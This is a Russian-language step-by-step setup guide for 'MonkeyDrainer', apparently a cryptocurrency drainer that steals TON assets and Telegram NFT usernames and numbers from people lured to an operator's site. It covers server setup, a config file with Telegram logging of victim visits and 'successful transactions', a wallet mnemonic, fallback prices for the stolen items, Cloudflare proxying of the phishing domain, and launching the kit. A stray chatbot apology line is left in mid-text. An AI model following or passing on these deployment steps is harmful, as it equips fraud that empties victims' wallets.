Skip to content

Установка и настройка MonkeyDrainer

1. Системные требования

Перед началом установки убедитесь, что ваш сервер соответствует минимальным требованиям:

  • Оперативная память: минимум 8 ГБ.
  • Операционная система: Ubuntu 20.04 или выше (или любой современный Linux/Unix).
  • Процессор: минимум 2 ядра (рекомендуется 4 для стабильной работы).
  • Место на диске: не менее 20 ГБ.

⚠️ Важно! Сервер должен быть чистым, без установленных панелей управления (например, cPanel, Plesk), так как скрипт установки сам установит все необходимые программы, включая Docker.

2. Получение API ключа на TON Center

  1. Откройте Telegram-бота @tonapibot.
  2. Следуйте инструкциям бота для регистрации и получения API ключа.
  3. Убедитесь, что вы выбрали сеть Mainnet для работы с основной сетью TON.

3. Подключение к серверу через Bitvise SSH Client

  1. Скачайте и установите Bitvise SSH Client:

  2. Запустите Bitvise SSH Client.

  3. Введите данные для подключения:

    • В поле Host укажите IP-адрес вашего сервера.
    • В поле Username укажите имя пользователя (например, root).
    • Если вы используете пароль, выберите Password и введите его.
    • Если используете SSH-ключ, выберите PublicKey и укажите путь к вашему ключу.
  4. Нажмите Log in, чтобы подключиться к серверу. После этого у вас будет доступ к терминалу и файловому менеджеру.

4. Подготовка сервера

  1. Откройте терминал в Bitvise SSH Client и введите команду для обновления пакетов:

    bash
    sudo apt update && sudo apt upgrade -y
  2. Загрузите архив MonkeyDrainer на сервер с помощью Bitvise:

    • Откройте файловый менеджер Bitvise (кнопка "New SFTP window").
    • Перетащите файл архива fusion-drainer-main.zip на ваш сервер.
  3. В терминале распакуйте архив и перейдите в папку с файлами:

    bash
    unzip fusion-drainer-main.zip
    cd fusion-drainer-main
  4. Дайте права на выполнение скрипта runner.sh:

    bash
    chmod +x runner.sh

5. Настройка конфигурации через Bitvise (удобно через файловый менеджер)

Шаги:

  1. Откройте файловый менеджер в Bitvise:

    • Нажмите на кнопку New SFTP window в Bitvise, чтобы открыть файловый менеджер.
  2. Переименуйте файл config.example.yaml в config.yaml:

    • В файловом менеджере найдите файл config.example.yaml.
    • Кликните правой кнопкой мыши на файл и выберите "Rename" (Переименовать).
    • Переименуйте его в config.yaml.
  3. Редактирование файла config.yaml:

    • Нажмите правой кнопкой мыши на файл config.yaml и выберите "Edit" (Редактировать).
    • Настройте файл под ваш сайт и систему (см. следующий раздел).

Извиняюсь за путаницу! Вот исправленный блок с полными комментариями, как указано в вашем примере:

6. Настройка файла config.yaml

Теперь, когда вы открыли файл config.yaml, нужно настроить его для корректной работы приложения. Вот как это сделать:

Пример настройки:

  1. URL вашего сайта:

    • В разделе api укажите адрес, который будет вести на сервер MonkeyDrainer:
      yaml
      api:
        # Базовый URL для API
        base_url: "https://yourdomain.com"
  2. Настройка Telegram бота:

    • Получите токен через BotFather.
    • Укажите токен и ID чата в разделе telegram:
      yaml
      telegram:
        # Токен для вашего Telegram бота
        bot_token: "токен вашего бота"
      
        # Глобальный ID чата для логов
        global_logs_chat_id: "-1234567890"
      
        # Принудительно отключить логи посещений в глобальном канале
        force_disable_visit_logs: false
      
        # Дублировать логи успешных транзакций в глобальный канал
        duplicate_successful_transaction_logs: true
  3. Whitelist (Белый список):

    • Добавьте ID пользователей, которым разрешено взаимодействовать с ботом:
      yaml
      whitelist:
        # Белый список ID пользователей, которым разрешено взаимодействовать с ботом
        - 123456789
        - 987654321
  4. Настройка TON API:

    • Укажите API-ключ для работы с блокчейном TON:
      yaml
      ton:
        # API ключ для доступа к сервисам TON
        apiKey: "ваш_api_key"
      
        # URL конечной точки API для сервисов TON
        endpoint: "https://toncenter.com/api/v2/jsonRPC"
      
        # Мнемоническая фраза владельца
        # Это необходимо для развертывания и управления смарт-контрактами.
        mnemonic: "ваша мнемоническая фраза"
  5. Настройка цены для NFT:

    • Настройте статические цены на teleitem домены, номера и юзернеймы:
      yaml
      nft:
        # Статическая цена на teleitem домен в TON если API не вернул цену
        teleitemDomainFallbackPrice: 1
      
        # Статическая цена на teleitem номер в TON если API не вернул цену
        teleitemNumberFallbackPrice: 10
      
        # Статическая цена на teleitem юзернейм в TON если API не вернул цену
        teleitemUsernameFallbackPrice: 10

Основные элементы YAML:

  • Отступы: Используйте 2 пробела для отступов. Например, всё, что связано с telegram, должно быть под ним с отступом.
  • Списки: Используйте - перед элементами списка, например:
    yaml
    whitelist:
      - 123456789
      - 987654321

После редактирования сохраните файл.

7. Настройка Cloudflare

  1. Регистрация и добавление домена в Cloudflare:

    • Перейдите на сайт Cloudflare и зарегистрируйтесь, если у вас еще нет учетной записи.
    • После регистрации добавьте ваш домен в Cloudflare. Введите доменное имя и следуйте инструкциям на экране для завершения добавления домена.
    • Обновите записи NS вашего домена на те, что предоставляет Cloudflare.
  2. Настройка DNS-записей:

    • Перейдите в раздел DNS на панели управления Cloudflare.
    • Добавьте A-запись для вашего домена, которая указывает на IP-адрес вашего сервера:
      • Тип записи: A
      • Имя: @ (или ваш поддомен, например, www)
      • IP-адрес: IP-адрес вашего сервера
      • Убедитесь, что облачко рядом с записью A-записи оранжевое, что означает проксирование через Cloudflare.
  3. Включение SSL Flexible:

    • Перейдите в раздел SSL/TLS на панели управления Cloudflare.
    • Выберите режим Flexible для HTTPS на уровне Cloudflare, даже если сервер не поддерживает SSL.

8. Установка и запуск MonkeyDrainer

После настройки конфигурации вы готовы установить и запустить MonkeyDrainer.

Шаги:

  1. Запустите установочный скрипт:

    bash
    ./runner.sh
  2. Скрипт автоматически:

    • Установит Docker, если его нет.
    • Запустит необходимые контейнеры для работы.
    • Настроит приложение для работы с сайтом и блокчейном TON.

9. Управление приложением

Для управления приложением используйте скрипт runner.sh. Вот основные команды:

  • Запуск контейнеров: ./runner.sh и выберите 1.
  • Остановка контейнеров: ./runner.sh и выберите 3.
  • Перезапуск контейнеров: ./runner.sh и выберите 4.
  • Проверка статуса контейнеров: ./runner.sh и выберите 5.